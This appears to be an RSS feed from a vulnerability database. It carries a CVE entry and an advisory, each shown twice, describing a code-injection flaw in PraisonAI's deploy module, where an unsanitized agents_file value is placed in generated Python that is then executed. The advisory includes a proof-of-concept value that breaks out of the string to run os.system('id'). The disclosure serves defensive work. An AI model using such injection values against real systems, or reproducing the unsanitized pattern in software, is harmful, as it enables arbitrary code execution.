https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 08 Oct 2026 19:36:12 +0000 https://db.gcve.eu/vuln/fkie_cve-2026-62176 <p>PraisonAI is a multi-agent teams system. Prior to version 4.6.78, the `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code. Version 4.6.78 patches the issue.</p> <p>PraisonAI is a multi-agent teams system. Prior to version 4.6.78, the `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code. Version 4.6.78 patches the issue.</p> https://db.gcve.eu/vuln/fkie_cve-2026-62176 https://db.gcve.eu/vuln/ghsa-g6j7-pffp-8whg <p><strong>Affected:</strong> PyPI: PraisonAI</p> <p>### Summary The `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.</p> <p>### Details</p> <p>`src/praisonai/praisonai/deploy/api.py` (line 80):</p> <p>```python code = f&#39;&#39;&#39;... praisonai = PraisonAI(agent_file=&#34;{agents_file}&#34;) ... &#34;agent_file&#34;: &#34;{agents_file}&#34; ...&#39;&#39;&#39; ```</p> <p>The generated code is then executed (line 190): ```python subprocess.Popen([&#39;python&#39;, server_file]) ```</p> <p>`agents_file` is never sanitized or validated. A malicious value breaks out of the string context:</p> <p>```python agents_file = &#39;&#34;); import os; os.system(&#34;id&#34;); #&#39; # Generated code becomes: # praisonai = PraisonAI(agent_file=&#34;&#34;); import os; os.system(&#34;id&#34;); #&#34;) ```</p> <p>The same pattern exists in `deploy/docker.py` (line 33) for Dockerfile generation.</p> <p>### PoC</p> <p>```python # The injection: agents_file = &#39;&#34;); import os; os.system(&#34;id&#34;); #&#39;</p> <p># What the generated code looks like: template = f&#39;praisonai = PraisonAI(agent_file=&#34;{agents_file}&#34;)&#39; print(template) # Output: praisonai = PraisonAI(agent_file=&#34;&#34;); import os; os.system(&#34;id&#34;); #&#34;) ```</p> <p>### Impact - **Arbitrary code execution** on the machine running the deploy command - **Supply chain risk** if `agents_file` comes from a configuration file or CI/CD pipeline</p> <p><strong>Affected:</strong> PyPI: PraisonAI</p> <p>### Summary The `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.</p> <p>### Details</p> <p>`src/praisonai/praisonai/deploy/api.py` (line 80):</p> <p>```python code = f&#39;&#39;&#39;... praisonai = PraisonAI(agent_file=&#34;{agents_file}&#34;) ... &#34;agent_file&#34;: &#34;{agents_file}&#34; ...&#39;&#39;&#39; ```</p> <p>The generated code is then executed (line 190): ```python subprocess.Popen([&#39;python&#39;, server_file]) ```</p> <p>`agents_file` is never sanitized or validated. A malicious value breaks out of the string context:</p> <p>```python agents_file = &#39;&#34;); import os; os.system(&#34;id&#34;); #&#39; # Generated code becomes: # praisonai = PraisonAI(agent_file=&#34;&#34;); import os; os.system(&#34;id&#34;); #&#34;) ```</p> <p>The same pattern exists in `deploy/docker.py` (line 33) for Dockerfile generation.</p> <p>### PoC</p> <p>```python # The injection: agents_file = &#39;&#34;); import os; os.system(&#34;id&#34;); #&#39;</p> <p># What the generated code looks like: template = f&#39;praisonai = PraisonAI(agent_file=&#34;{agents_file}&#34;)&#39; print(template) # Output: praisonai = PraisonAI(agent_file=&#34;&#34;); import os; os.system(&#34;id&#34;); #&#34;) ```</p> <p>### Impact - **Arbitrary code execution** on the machine running the deploy command - **Supply chain risk** if `agents_file` comes from a configuration file or CI/CD pipeline</p> https://db.gcve.eu/vuln/ghsa-g6j7-pffp-8whg